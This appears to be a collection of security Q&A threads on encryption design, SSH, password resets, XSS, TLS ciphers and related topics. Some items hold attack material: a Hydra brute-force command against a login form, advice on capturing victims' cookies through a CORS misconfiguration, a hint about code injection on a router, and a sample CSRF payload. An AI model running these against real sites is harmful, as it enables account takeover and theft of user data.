instead of using the plaintext to feed into the next block, a high-memory hashing function (such as Argon2i) is applied to the plaintext, and the results of that operation are fed into the next block
said hashing function would use consistent cost parameters derived from the size of the data in 3. (and hence the number of blocks needed), plus a desired amount of memory needed to decrypt the entire file (so your encryption program knows you want it to require writing a total of 1GB of memory to decrypt this file)

Unless AES-256 itself was compromised, it would seem that to attack this file, you'd have to:

choose a likely password and convert to the corresponding AES-256 key
use this key to decrypt the entire file, at each block computing the Argon2i hash of the previous block (which requires a pre-determined amount of memory)
when you reached the end of the file, use the bits at the end (which might be the key you need) to decrypt the (already decrypted once) first block and see if you're correct

Since you couldn't easily parallelize cracking due to the synchronous stream cipher (each attempt requires full-message decryption), plus the fact that each block requires you to write an arbitrary amount of memory (reducing the threat of fast GPUs/future quantum computers/etc), wouldn't a method like this provide additional security in a way that switching from AES-256 to a theoretical AES-512 would not (since each relatively short password will still generate a full AES-512 key, and you can check to see if that guess is correct without decrypting the whole message, so there's really nothing gained).

By adjusting the parameters to your hashing function (based on the size of the file), you should be able to say "attempting to decrypt this 1KB file will require writing 500MB of memory... and attempting to decrypt this 3GB file will also require writing 500MB of memory".  So it wouldn't necessarily be prohibitively slow for large files.

I know there's got to be a reason this isn't done, and would love to figure out where I'm going wrong!

That just needlessly complicated with no real payoff.  Your interposition of Argon2 into the CFB mode makes it more costly, sure, but costs are additive, which implies they're associative (a + (b + c) = (a + b) + c), which means that there's nothing to be gained by performing all that extra work with Argon2 at that precise spot—if you just crank up the Argon2 parameters at step #4 that's just as good, and simpler.

So your idea doesn't look any better than:

Generate a random Data Encryption Key (DEK);
For plaintext message plaintext compute an authenticated ciphertext = AEAD_encrypt(dek, plaintext);
Generate a random salt;
Generate a Key Encryption Key (KEK) from the password and salt: kek = argon2id(password, salt, argon2_params), supplying parameters as costly as you want to Argon2id;
Encrypt the DEK with the KEK: encrypted_dek = AEAD_encrypt(kek, dek);
Write out (salt, argon2_params, encrypted_dek, ciphertext) as your encrypted file.

Note that:

You don't really need random IV/nonces here as long as you take great care that you always choose a fresh random DEK and salt every time you encrypt.  The property you want to guarantee is that every key will only ever be used for one message encryption.
When I say AEAD_encrypt I mean some authenticated encryption scheme that works with variable length messages.  AES-GCM and ChaCha20/Poly1305 are two common and popular ones these days.  Don't futz around with modes and MACs, use something prebuilt.
When I say ciphertext and encrypted_dek I mean it in a sense that incorporates the AEAD tag.  Many libraries output the authentication tag separately from what they call the ciphertext.
The use of a separate DEK and KEK has the neat property that you can change the password without having to decrypt and reencrypt the whole file; you can just rewrap the encrypted DEK.  If you don't care for this you could just generate a DEK directly from Argon2.
You should probably use Argon2id instead of Argon2i.  Or actually, wait until the RFC is approved...


How can I make a read-only filesystem read/write? I recently hacked into my router which runs BusyBox v1.9.1. I want to edit some files in my web GUI interface which will allow me to get hidden options in it. I'm trying to edit a .js file and replace it via FileZilla (I also hacked FTP through setting the default router directory as ../..), and when I upload the file in the router, it says: 553 Error: Read-only file system. How could I fix that through SSH or FTP? (Telnet seems to be broken.)

Also, how can I set a default command to execute when I SSH into a server in PuTTY? In Linux it works for me when I do "ssh admin@192.168.1.1 /bin/sh", but when I try to do it on Windows through PuTTY it disconnects me directly after I log in.

EDIT: okay, here goes:

rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro)
none on /dev type tmpfs (rw)
/proc on /proc type proc (rw)
none on /var type tmpfs (rw)
none on /tmp type tmpfs (rw)
none on /mnt type tmpfs (rw)
usbfs on /proc/bus/usb type usbfs (rw)
/dev/nandflash on /upgflash type ext3 (rw,data=ordered)
none on /html/help type tmpfs (rw)
/dev/sda1 on /mnt/usb1_1 type vfat (rw,fmask=0000,dmask=0000,codepage=cp936,iocharset=cp936,shortname=winnt)

note:the last one is my 4GB flash memory, i need it connected always to the router because it helps me see the router's filesystem by doing a small exploit by adding ../.. to the usb1_1 directory that's created in upgflash file in my router's filesystem.

See a similar question on Unix & Linux Stack Exchange for background. You aren't running into any kind of security restriction.

This is not related to the use of BusyBox, it's related to the filesystem used by the router. With filesystems for which a driver supports writing, mount -o remount,rw / would remount the filesystem read-write. You need shell access for that, you can't do it over FTP (but if you had root FTP access you could inject code by uploading it to some file that gets executed — search the writable partitions for executable files, crontabs, etc.). But your router runs SquashFS, which is designed specifically for read-only filesystems; SquashFS does not support writing, period. You can modify the content of the filesystem by generating a new image and flashing it.

Run cat /proc/filesystems to see what filesystem types are available. There might be a union filesystem that lets you override some files with a read-write view from the external flash or in tmpfs. Alternatively, you could mount --bind the SquashFS root to another location and mount a tmpfs filesystem on / containing mostly symbolic links to the relocated root. To make your changes persistent, you'd have to find something that's executed at boot time; look out for NVRAM values.

It appears that you're really a user trying to get your router to do more things, rather than an attacker trying to get the router to do things that the owner doesn't want. So forget this and install an alternate firmware.


Allowing a password reset if an account is locked Similar to another question about keeping an account locked, is it preferable to allow a user to reset their password while the account is locked out due to the wrong password being used too many times?
For example, their account gets locked for 30 mins if the wrong password is used 6 times in a row. While the account is locked, they hit the "Forgot password" link. Should they be allowed to reset their password, or do I say the account is currently locked and can't be reset?

With the forgot password link your user can prove to have access to "something you have".
I would allow the reset of the account but would check more details like access to a second authentication factor (U2F, SMS, phone call, recovery codes).
You should also moderate this account. Only allow basic interaction and force additional authentication / admin approval / time delay / lock account when potential malicious behavior is detected after login (e.g. deleting settings, changing emails). So the real user would have time to react and there is also a message trail that something fishy is going on.
When the account would stay locked, an attacker could deny the real user to access the service by entering wrong passwords (denial of service).


Getting [ERROR] Invalid target definition! while specifying https://mysitename.com in Hydra Gtk In Hydra-GTK, I've specified my target name as https://example.com (it's not www) and mentioned protocol as https-post-form and then entered username  and password list and then I started.
But I got this error message:

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-05 01:06:43
[ERROR] Invalid target definition!
[ERROR] Either you use "www.example.com module [optional-module-parameters]" *or* you use the "module://www.example.com/optional-module-parameters" syntax!

You should NOT put the https:// part in your site parameter, see the following example:

hydra example.com http-form-post "/password.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt


Is it too late to encrypt my already used USB drive? I've had my USB for quite a while now. It contains quite a lot of personal information on it. (I know, I'm stupid for not encrypting it before hand).
Is it too late to encrypt my drive even if files are on there already?

I heard somewhere that its best to encrypt the drive as soon as you purchase it and plug it in.

Is it too late to encrypt my drive even if files are on there already?

You can "turn on" Bitlocker To-Go to encrypt the files/folders already on the USB drive.

However, as the other post indicates, this may not remove all traces of the unencrypted data due to hardware specifics of memory controller/flash/etc, but it is better than nothing as an immediate course of action.


Would it be a good idea to develop your own multi-factor authentication? For a project we working on we need to implement multi-factor authentication.
We where planning to do this with an NFC card and an NFC reader which we are going to build with an Arduino.

The planned workflow:

A user logs in on the site; credentials are checked. There will be a flag in the database saying that the users needs to use their keycard.
The website will use ajax to call a desktop service which is installed. The service calls the usb connected Arduino to say that the user needs to hold the keytag for the device.
The user does this. The key inside the keycard is transmitted back to the service. The service passes this trough to the server. When accepted:

1: The server set the flag in the database on true
2: It answers to ajax request from the browser to tell it can continue.

Would it be a good idea to implement your own method like this? There is some discussion about it.
How else can this be implemented? With a existing protocol?

A requirement is that the multi-factor works on multiple devices (Windows, Mac, Android) and in all browsers.

Edit
Thanks for the replies. As I expected there are better options.
But I can't find the right solution. I need all browser support. (http://caniuse.com/#feat=u2f). Is there a program that extends u2f support to all browsers?

I don't want to use phones. Just keycards.

The answer is more or less the same for all type of development work:

Start with your requirements. What are they really and specifically ? Think usability requirement, security requirements, compatibility, etc. Everything counts.
Once you have the requirements, have someone perform some research to see if there is an existing protocol (or better, an existing implementation) that will fit your needs (regarding requirements, tooling, skills and budget).
Only then, start implementation (which might or might not require coding).

Based on your question there is nothing in the announced requirements ("we need to implement multi-factor authentication") that cannot be solved easily and cheaply by using TOTP and one of the many soft clients that supports it. Form more complex solutions, there are plenty of commercial offering.


Looking for Wepawet-like open source alternative Is there any open source alternative to Wepawet ? I need to study techniques of JavaScript malware detection.

If you're familiar with JSUnpack, it's a brilliant tool which has been made for the deobfuscation and detection of malicious javascript files.

It is open source, and available here: https://code.google.com/p/jsunpack-n/

Additionally, on top of javascript, it can scan the following file types:

PDF files - samples/sample-pdf.file
Packet Captures - samples/sample-http-exploit.pcap
HTML files
SWF files


How to safely watch pirated movies, open infected files? I know pirated movies .avi, .mp4 etc can contain a payload to exploit the media player been used to open the movie, or any file pdf office documents.

I use Linux but assume that's unsafe. What's a secure way to open these files and be certain they can't infect the host OS? I used to think using a live USB was a good way, I know a live USB has write access to the hard disk and could rewrite the MBR for a rootkit etc

Not sure a write protected USB or cd would help here, possibly removing the hard disk while using a live USB would solve it been able to write to the hard disk only small chance of bios been a vector then?

I know about Sandboxie for Windows and firejail for Linux I'm not sure firejail or sandboxie is a good method, also heard of using virtual machines.

I also own a Chromebook. They're meant to be security hardened so much, a drive-by on a website shouldn't infect them so I want to know if infected media files and others could be opened on ChromeOS safely. I guess I could stream from an infected site without been infected if sandboxing the os is that safe.

I know everyone has their own opinion about piracy. I only want helpful answers for the circumstances I'm asking about.

The theoretical answer is you cannot.  If the attacker has a set of exploits that take over the operating system then they can write to many places beyond RAM or the hard drive.  These places include but are not limited to: the UEFI (for example http://blog.frizk.net/2017/08/attacking-uefi.html), GPU (for example, https://www.extremetech.com/computing/205270-proof-of-concept-gpu-rootkit-hides-in-vram-snoops-system-activities) intel management interface (for example, https://boingboing.net/2016/06/15/intel-x86-processors-ship-with.html).

On a practical level, if you insist on trying, you have two choices: you can use a cheap device like an Amazon Fire Tablet (still rootable, and still able to attack your router and other devices from the inside), or an IoS device, which is also still attackable, but the attacks are rare, and unlikely to be wasted on you, unless you happen to work for the GRU, CIA, a human rights org that's annoyed a government, etc, etc.


Password-reset mechanism based on Sessions I was wondering if the following password-reset mechanism is safe:
The user clicks on 'I forgot my password' and enters his mail. After he has submitted, a security_token gets generated. This token consists of the following combination: entered_email + timestamp + a randomized string of 15 truly random bytes. The randomized string is different for each reset.
This security token gets saved in a session-variable.
If the entered email-address exists in the database, we retrieve the ID of that user and also put that in a separate session-variable. Than a mail is sent to that mail-adres.
The mail contains a URL containing the security token. Like https://example.com/reset.php?key=THAT_RANDOM_SECURITY_TOKEN_THAT_IS_ALSO_SET_IN_SESSION_VAR.
After clicking that URL in the mail there is a check to see if the content of the url-parameter key matches with the security_token in the session variable. If it matches, the user's password gets updated with the new password he has entered. We know which row to update because we also putted the user-id in a session variable.
I think this is save for the following reasons:

The secret URL is hard to guess
Even if someone intercepts the mail/secret token, he still needs to perform a session_hijack to put the security_token in his session variable.

As you are comparing the token with what you saved in the current browser session, you don't need to use <entered_email + timestamp + random> in the token. Just the random suffices.
So you basically store in the browser session:

User id to be reset
Reset token
Timestamp it was sent or token expiry

When you receive the link, you:

Allow to reset the given id if the session timestamp shows the token as not expired and and the url token matches the session one
Delete the session information

So yes, this would be a safe way to let users reset the account password from their email. Be aware that users could close the browser or open the link in a different one, in which case that wouldn't work. You should probably include a note stating that they must open the link in the same browser they requested the reset from.


importing CA certs into OpenSSL CLI I created a CA cert and a cert signed by the CA cert and then tried to sign a CMS / PKCS7 message with the CA-signed cert and got the following error:

unable to get local issuer certificate

I.e. it sounds like I need to import the CA cert I created into OpenSSL somehow. Any ideas as to how I'd go about doing that?

OpenSSL issues this error because the root cert is not in the location that it is expects it. The default directory for this (tested only my debian wheezy machine) is  /etc/ssl/certs.

Hope this helps.


Exploiting CORS and storing the response to server I am trying to exploit misconfiguration CORS.
I have created and hosted a file in HTML and Javascript where if someone clicks the link there HTTP response containing cookies will reflect them on the browser.

I want to store the response to a file on my server and append it if clicked again. So, whenever the user clicks my link, their response will be stored on my server

My code is working fine for reflecting the response to them.
But what should I use to store their response to my server. Is it possible with javascript and html?

Here's my code "exploit.html":

    <title>Hello</title>

            <button type="button" onclick="resp()">Exploit</button>

My code is working fine for reflecting the response to them. But what
  should I use to store their response to my server. Is it possible with
  javascript and html?

It should be possible with javascript.Write an Xml HTTP request in javascript and make a request to your web server that logs the request to file/database.


Are there any simpler ABAC implementations available for big data systems? Can any one suggest simpler Attribute Based Access Control implementations available for big data systems like Hadoop, Hive etc?

I have checked Apache ranger they dont have any support for ABAC yet . Apache Sentry does not do ABAC it just has classic Users/Groups/Resources kinda RBAC

Yes there is at least one.

Disclaimer - I work for the company, Axiomatics, that provides it.

Axiomatics has a solution called ADAF MD (Axiomatics Data Access Filter MD) which currently supports Oracle, DB2, MS SQL, Terradata, and others will be added soon. The solution builds on top of XACML, the eXtensible Access Control Markup Language, which is the de facto implementation of ABAC.

You can check out the demo on YouTube. You can also watch this webinar on ABAC and this webinar on data-centric access control.


Online virus scanning service with remote file submission? I have some links that contain hacking tool and whatnot and I want to pass them to a virus scanning service. The thing is that I don't want to download them to my pc and upload them to their service, but rather to have it scan the files remotely by just passing them the URLs. Do you know of any service with a simple way/api to do that (I'm using PHP). Virustotal.com has something like that but their PHP classes/scripts are missing from their site! Thanks.

There are services like ScanThis! and URLVoid which are similar to VirusTotal. None seem to have an API that you are looking for.  However, more interesting is how effective these systems actually are.  Passing the EICAR test virus pattern to ScanThis! for example, comes back with a "not infected" report.  URLVoid, however, does indicate the file is infected.

In addition to finding an API, you will also want to ensure that the service you select has an appropriate scanning engine.  If you have samples of infected files, then it might behoove you test them to ensure that they are effective.  Otherwise you're no better off.


Hardware trojan besides network card? We all can read news about "Hardware trojans" (it has grown in the recent few years..).

But my question is: Besides the network card, could there be any HW trojan that can cause any real damage?

If I would need to put a HW trojan in a server/computer, then I would put it in the NIC, since I can only reach the machine over ethernet/wifi. It does not make sense to me to put a HW trojan in a CPU. (I just don't understand why are people so afraid of HW trojans. Shouldn't they only need to be worried about their NIC card? )

Since a perfectly honest network card acts under the control of the host CPU, a malicious hardware element in the CPU can perfectly betray the user's secrets. After all, when you have some malware in your machine, the malware is just software, and it runs on the CPU -- and yet your secret data can escape.

Any piece of hardware with DMA access can read and write memory at will, and thus can modify OS and application code as it gets executed. This is sufficient to do everything that kernel-level malware can do, i.e. quite a lot of evilness. This includes the CPU itself, the GPU, the hard disk controllers, the network cards, the USB controllers...

Even if you are intent on having a dormant backdoor, which does nothing until activated from the outside, it can still be done purely in the CPU, or in the DMA controller: it suffices to have the CPU or the DMA controller inspect memory transfers and wait for a specific pattern, which triggers the hostile code. Attacker then just has to send a ping request or some other packet with the said pattern: the DMA controller will see it when it transfers it from the NIC to the main RAM, and the CPU will see it when it recomputes the IP packet checksum.

People are afraid of hardware backdoors because they feel they have no control over it -- and that's entirely true.


Encrypting string in JavaScript and decryption in Java I would like to know if there is any library to do encryption in JavaScript and decryption in Java. I have already tried many APIs, but am not getting the same values in Java.
I want public-private key encryption and hence try to use RSA.
A few I have used are:

www-cs-students.stanford.edu/~tjw/jsbn/
ats.oka.nu/titaniumcore/js/crypto/readme.txt
www.ohdave.com/rsa/

Few thing I checked, JavaScript breaks string into small chunks and then encrypts them which makes ciphertext different in Java and JavaScript. I edited the JavaScript code to use string as a whole but that didn't work.

I also tried to set charset of HTML page to utf-8 but it also did not work. I got success in encrypting single character string like 'K' to be encrypted and decrypted correctly which makes me think that there is problem in encrypting string in JavaScript by dividing it in small chunks (which I checked, but it fails with encrypting it as a whole).

My Java implementation is:

BigInteger d = new BigInteger("1f3fac65c4ae222e3a3074dd4c38fbb72c0705c4bbac0385b867c12c25a44e01", 16);
BigInteger e = new BigInteger("65537");
BigInteger N = new BigInteger("b42e91fbca364cf2a125aec67ffbdab624fd401100c40ea05189ba34d1028b0d", 16);
String messageToEncrypt = "kishor";
byte [] messageByte = messageToEncrypt.getBytes();
BigInteger message = new BigInteger(messageByte);
//Encrypting and Decrypting messages
//Encrypt a message using N and e:
BigInteger ciphertext = message.modPow(e, N);
//Decrypt the message using N and d:
BigInteger plaintext = ciphertext.modPow(d, N);
byte[] plainTextByte = plaintext.toByteArray();
String decryptMessage = new String(plainTextByte);
/*System.out.println("p : " + p);
System.out.println("q : " + q);*/
System.out.println("N : " + N.toString(16));
System.out.println("e : " + e.toString(16));
System.out.println("d : " + d.toString(16));
/*System.out.println("PhiN : " + PhiN);*/
System.out.println("ciphertext : " + ciphertext.toString(16));
System.out.println("decryptMessage : " + decryptMessage);
}

Kindly let me know if it is possible as I have searched many questions (on Stack Overflow itself) but am unable to find a solution. I am searching for a well tested pre-built library.

Is the javascript run in a browser? If so, don't try to encrypt anything at all.

Please refer to my other answer for details. Basically, if you are doing something with javascript, the connection is either a) already secure or b) will not be any more secure with anything you do within the web app.

Note that I talk about hashing there but it really applies to any kind of procedure in javascript.


SSH and man-in-the-middle Assume the following scenario and please correct me if I am wrong somewhere:

There is a client and there is an SSH server that the client connects to. There is also a man-in-the-middle (MIM) which is able to intercept the client's incoming and outgoing traffic.

Now suppose that the client connects to the SSH server for the very first time and the server's public key info is not in the known_hosts file yet. The server sends its public key to the client, the client checks known_hosts file, does not find the server's public key there and hence the server now needs to prove its identity to the client. Identity is successfully proven (by using server's private key), but suppose that the client does not store the server's public key in the known_hosts after that (it is not mandatory to store it in the known_hosts, as far as I know).

The next time when client connects to the SSH server, the man-in-the-middle (MIM) intercepts client's connection request, and sends its own public key to the client, on behalf of the real SSH server. The client receives MIM's public key, inspects known_hosts file, and does not find the received public key in that file, so the "server" (MIM) needs to prove its identity again. Because the MIM's public key is associated with the corresponding private key, MIM successfully proves its identity to the client.

Is it possible to compromise security in that way? Correct me if I'm wrong somewhere please.

Someone told me that the server domain certificate is able to solve the problem, so additionally I would like to understand the purpose of host certificates. I have read that the certificate is put into known_hosts file just as the usual public key. But what's the point of using a certificate if we may use the same public key on all servers in domain, and simply put that public key into client's known_hosts file?
Apparently, if there's no public key in known_hosts yet, the attack I've described above is still possible, and it doesn't matter whether the server uses certificate or not.

It looks like you assume that the identity of the server is proven by the server demonstrating that he owns the presented public key. But this does not prove the identity of the server from the perspective of the client.

An important part of validating the servers identity is that the client verifies the servers public key against the expected one. That's why the fingerprint is presented to the client for validation on first connect or if the key has been changed. This means that the fingerprint or public key needs to be known by the client up-front, i.e. before key validation. What you describe is instead blindly trusting any key presented to the user in the hope but not certainty that it is the correct one (TOFU - trust on first use).

  Someone told me that the server domain certificate is able to solve the problem

Certificates in SSH have a similar role as certificates in TLS (and thus HTTPS). They have a public key inside and they are issued and signed by a certificate authority trusted by the client. In case of certificate based authentication the server presents the certificate which includes the public key and the issuers signature. The issuers signature can be used to validate that the certificate was issued by the locally trusted authority and thus that they public key in the certificate is really the expected servers key. After that the public key is used as in normal key based authentication, i.e. the server has to demonstrate that it owns the private key for the public key.

With certificates the client thus does not need to know every server key up-front. It is instead sufficient to trust a specific authority that it issues and signs the correct certificates which include the servers public keys. This makes it more scalable if you are dealing with lots of different systems which are all managed by a few entities.

For how to use certificates in SSH see for example How To Create an SSH CA to Validate Hosts and Clients with Ubuntu.


What is the safest way to ssh to a machine behind a router? I am thinking about forwarding port 22, to 22 on the machine behind router, but is it safe? Anyone can try  to connect to my public IP on port 22 and then indefinitely try to guess user and password.

Doesn't seem like a good idea. Any suggestions? How is it properly done?

There are many automated bots out there that will try to attack SSH servers, but if you take a few precautions you can actually make SSH very safe.

Disable password-based login completely, and make public/private key pairs the only way to log in. This page provides information on how you can disable password login, and this one shows you how to set up key pairs. It is basically impossible to brute-force a key, so this step alone will dramatically increase SSH security. The only downside is that you'll have to copy the key to every computer you need to log in from.
Set up rate limiting - block an IP address after a certain number of incorrect password attempts. There are many ways to do this; I use fail2ban but if you search Google you'll find many alternatives. This is important because if you don't block IPs, you'll have bots guessing passwords for literally hours on end. Granted if you are using key-based logins they'll probably never succeed, but they'll still use up a good chunk of bandwidth by generating a lot of junk SSH traffic (and also fill up your logs).
If you know you're only going to access this server from certain IP addresses, you can allow only those IP addresses and block all others.
Disable login as root - the vast majority of bots will try to target the root username.
Check the login logs from time to time for unauthorized access.

If you take these steps you should be ready to open up SSH to the Internet. As long as you keep your keys safe and your server packages up to date, you shouldn't have any issues with SSH security.

EDIT: If you have two machines you need to access but only one public IP address, you have two options: You can set up port forwarding to one machine, and if you need to access the second machine, you would log in to the first one and SSH to the private IP address of the second one from the first one.

Your other option is to change the SSH port of the second machine from 22 to something else (2222, for example). Then you can forward port 22 to the first machine, and 2222 to the second machine. If you need to access the second machine, then you'd specify port 2222 in your SSH client. (Side note: If you want, you can use non-standard ports on both machines to cut down on bot traffic.)


Remember me vs. persistent session for web applications This question is intended to gather information about what the specific security advantages/disadvantages are to using a "remember me" function for an online web site relying on sessions compared with making the session persist for long periods of time.

While the session may be used to store more data than just the identity of the user, this the only information required to be propagated between interactions by the "remember me" functionality.

In both cases, the state would be represented by information stored in a cookie on the client. The session is identified by a random value used to reference data held on server-side. The "remember me" function might be implemented purely using data stored in the cookie or by a handle to the serverside data as per the session (some comparison of the variants for "remember me" are described here in relation to sessions).

The main risk of a persistent session is increased exposure for any existing client-side vulnerabilities (e.g. XSS, CSRF, session fixation, etc).

That is, any malicious site targeting your users through exploits for the above would be more likely to succeed because the user is left logged in.

With remember-me the above could apply too - Say the long-term remember-me token is exchanged for a session token automatically per request.

e.g.

in the request the browser sends

Cookie: remember-me=32132213312132

and the server automatically issues a session token for this request because the token validates. It also replies with their new session token for subsequent requests to use in this session:

Set-Cookie: session=asdkalkjdjsaddsajdsal

This shows that even though a separate cookie is used for long term access, because it is automatically exchanged it will also aid cross-domain exploits in attacking user sessions.

You could mitigate this by using OAuth2 style refresh tokens.
Then if the attacker tries an CSRF attack such as

<img src="https://example.com/transfer_money?to_acc=2321321&amount=1000000" />

it would not automatically succeed because the refresh token alone is not enough to authenticate the request (remember-me) - it must be exchanged for an access token (session).

e.g. if the user visits your site, there could be another explicit step to get the session token to represent an active, logged-in user:

<form method="post">
  <input type="hidden" name="anti-csrf" value="asddadaddasa242421fsas" />
</form>

The anti-csrf token is attached to the refresh token in the server-side database, preventing a CSRF exploit from being used to get the token ahead of the attack. The above should be manually submitted by the user to prevent an attacker from opening the page in a popup or within an IFrame.

Only after all of the above validates does the server reply with an access token (session):

Set-Cookie: session=asdkalkjdjsaddsajdsal

Of course your site should already mitigate against XSS, CSRF and the like, however this is a defence-in-depth approach to guard against long term tokens being set that have a higher chance of compromising a user because their login is more likely to be active should they be attacked.


False Positives- Server side protection against XSS I read about XSS attacks and its prevention mechanism on server-side. It seems only protection is to sanitize the input by escaping special characters on server side (Using some PHP functions such as htmlspecialchars() ). I have read this here. So now suppose some input like 3<2hello 4>3 or something like that. This is not harmful but it will be escaped. So is this a false positive of the protection? Or there are some more sophisticated protection against XSS on server side?

First, what htmlspecialchars() and similar functions do isn't removing dangerous code, it's encoding data as HTML.

So, what htmlspecialchars does not do is the following:

Receive data
Find dangerous HTML code and replace this by harmless code
Return the sanitized data

But it does the following:

Receive data
Convert this data to HTML, so that when this code is displayed it will look the same as when the original data would be viewed without being parsed by an HTML parser.
Return the HTML code

➥ You can see the difference here

Additionally, since you're asking this, you may be misunderstanding where XSS prevention should be applied. Encoding data as HTML shouldn't be done when it is received, but when it is outputted by the web server.

So, you should not be doing it like this:

Server receives data from a client
Server escapes the data as HTML
Server processes the data
Server outputs the data to the client

But like this:

Server receives data from a client
Server processes the data
Server escapes the data as HTML
Server outputs the data to the client


Asset management tracking I was tasked with getting all of our ISMS Assets documented to prepare for an ISO 27k audit. Right now I am using a spreadsheet and I would like to use something more... professional. It has way to much information to have in a spreadsheet and be easily understandable for people who didn't work on it. I though about using our inventory system, but it had its complications since its more focused on physical computers instead of things like intellectual property, or contract management.

Are there any applications out there that help manage this stuff?

Look into Dell Kace, you can install clients on all your computers and it'll let you know the hardware information as well as software installed and all of those kind of things, pretty powerful. Of course it's not free and will take configuration and the like, but that's the professional level for this kind of stuff.


What is technically different from iPhone/iOS to Android phones when it comes to data privacy? Historically Apple never shows up at CES, and this year they put up the following ad close to the convention center:

There is always this argument that Apple has better privacy policies in it's devices (which implies better cryptography in it's hardware and softwares) than Google and other tech companies.

The Apple privacy website mentioned in the ad only contains corporate statements for regular users, that are vague and do not provide information in what really makes the iPhone secure.

Is this only a marketing strategy or there are technical differences that make the iPhone more secure (when it comes to data privacy) than Android phones?

PS: I'm not asking for "which one to buy", or opinions on which is more secure. I want to know if there are technical evidences of these claims.

Apple has an extensive description of the security features in iOS devices in a white paper titled iOS Security Guide. (There's also a similar, shorter macOS Security Overview if you're curious about their computers.)

Some of the key points made in this document are that:

iOS verifies the authenticity of the operating system during the boot and update process, ensuring that the operating system has not been tampered with.
User data stored on iOS devices is encrypted using keys which are both specific to the device and to the user's passcode.
Application review and signing processes, as well as application sandboxing, make it difficult for malicious applications to be installed on a device, and prevent applications from accessing data in unauthorized ways.

I'm not aware of an analogous document describing Android's security features. Some of the security features of iOS depend on hardware capabilities of the Apple SoC (in particular, for data encryption) which may not be available on some Android devices.


HTTPS vs VPN - which is more secure I understand that end-to-end VPNs (such as SurfShark and NordVPN) hide the domains I visit whereas HTTPS does not
However, are they any attacks that an HTTPS website would be subject to, that could be avoided if I used an end-to-end VPN?
The main kind of attack I am concerned about is having any secure information (such as passwords, bank details, mobile number etc...) I send to a website being intercepted by a "middle-man"
The question in essence is are there any security benefits from using a paid-for VPN such as Surfshark given I currently enforce HTTPS on my browser (meaning I block all HTTP websites) and all my banking websites use HTTPS.

By security, I mean can any personal data be obtained
Privacy is not as important an issue (e.g: can people see domains I visit)

What does TLS do?
From wikipedia/HTTPS:

The principal motivations for HTTPS are authentication of the accessed website, and protection of the privacy and integrity of the exchanged data while in transit. It protects against man-in-the-middle attacks, and the bidirectional encryption of communications between a client and server protects the communications against eavesdropping and tampering.

So the primary purpose of HTTPS is to protect your personal data.
What does a VPN do?
From wikipedia/VPN:

A virtual private network (VPN) extends a private network across a public network and enables users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network.
...
VPN technology was developed to provide access to corporate applications and resources to remote or mobile users, and to branch offices.
...
Internet users may secure their connections with a VPN to circumvent geo-blocking and censorship or to connect to proxy servers to protect personal identity and location to stay anonymous on the Internet.

So the primary purpose of a VPN is to connect to your company's network when you're out of the building. There is a secondary usage of VPNs to protect your anonymity (specifically your IP address) when accessing public websites.

Your questions:

The main kind of attack I am concerned about is having any secure information (such as passwords, bank details, mobile number etc...) I send to a website being intercepted by a "middle-man". Privacy is not as important an issue (e.g: can people see domains I visit).

You want the thing that HTTPS is good at. You are not interested in the thing that VPNs are good at. Sounds like there's no reason for you to use a VPN :)


Remove RC4 from SSL/TLS ciphers in Chromium Recently I started to live without RC4 within my Firefox session. Discussion about it can be found here. While it is quite easy in Firefox (Enter about:config and then rc4), I found no possibility to do this in Chromium. So is it possible to disable or remove RC4 in Chromium or also Google Chrome?

After several hours trying to figure out how to do that in Google Chrome I've found it! You must add the following command line parameters in the shortcut:

--cipher-suite-blacklist=0x0005,0x0004

The tricky part is that Google has not translated cipher strings so you must input each cipher in hex based on RFC 2246:

0x0004 = TLS_RSA_WITH_RC4_128_MD5

0x0005 = TLS_RSA_WITH_RC4_128_SHA


Exploring unknown service I'm fairly new to network stuff and currently exploring a Wi-Fi radio device in my home network. In this process I noticed an open port.

58028/tcp open     unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org>/cgi-bin/submit.cgi?new-service :
SF-Port58028-TCP:V=7.00%I=7%D=12/20%Time=5676C80D%P=x86_64-unknown-linux-g
SF:nu%r(GetRequest,53,"HTTP/1\.1\x20412\x20Failed\r\nServer:\x20FSL\x20DLN
SF:ADOC/1\.50\x20UPnP\x20Stack/1\.0\r\nContent-Length:\x200\r\n\r\n")%r(HT
SF:TPOptions,53,"HTTP/1\.1\x20412\x20Failed\r\nServer:\x20FSL\x20DLNADOC/1
SF:\.50\x20UPnP\x20Stack/1\.0\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,53,"HTTP/1\.1\x20412\x20Failed\r\nServer:\x20FSL\x20DLNADOC/1\.50\x
SF:20UPnP\x20Stack/1\.0\r\nContent-Length:\x200\r\n\r\n")%r(FourOhFourRequ
SF:est,53,"HTTP/1\.1\x20412\x20Failed\r\nServer:\x20FSL\x20DLNADOC/1\.50\x

This is the corresponding nmap output. So now I am naturally interested in this service. How does one continue now? I tried to netcat, but the connection was reseted by peer. It does not respond to HTTP requests either.

Any advice or tips or common methodologies?

Some initial first next steps I would undertake are:

Take a look at the device MAC address, the first three bytes are a vendor ID, it might help elucidate what the device is, or at the very least the manufacturer of the network device.
Look up the services that use that port. It could be a dynamically used port from an application, I've seen "Xsan. Xsan Filesystem Access". Do you have storage area network devices or Macs on your network?
Then I'd start looking to see if any of the substrings in the nmap report are useful. I see "RTSPRequest", I'm going to venture and say RTSP is "Real Time Streaming Protocol (RTSP)". I'm starting to suspect a streaming video server is involved here, maybe even an Apple TV device.
The DLNADOC string also supports the function of this service might be related to streaming media.

Since this looks like a media server I'll stop here. But you could continue looking into the other substrings (FourOhFourRequest for instance), telnet in and send http commands to the web-server, try common paths to see if any web pages exist...


Obtain X.509 Certificate Fingerprint from Certificate Info I would like to obtain the SHA1/MD5 fingerprint of an X.509 certificate in order to compare it with the one presented by a server before connecting. However, I currently don't have access to the certificate itself, the only info I have is the output of the openssl x509 -text -noout -in cert.crt command that I was provided (Serial number, Public Key, Exponent, ...). Is it possible to calculate the certificate fingerprint using that information?

No
I'd say no. Not in any practical way.

You'd have to have a parser to turn it back into a DER encoded ASN.1 data structure. This would give you the original certificate.

Two difficulties:
1. No parser. You probably don't have a parser to do this.
2. You'll miss ASN.1 details. Even if you did have a parser, not all information might be exposed to you.

Details are as follows:
Type information in ASN.1
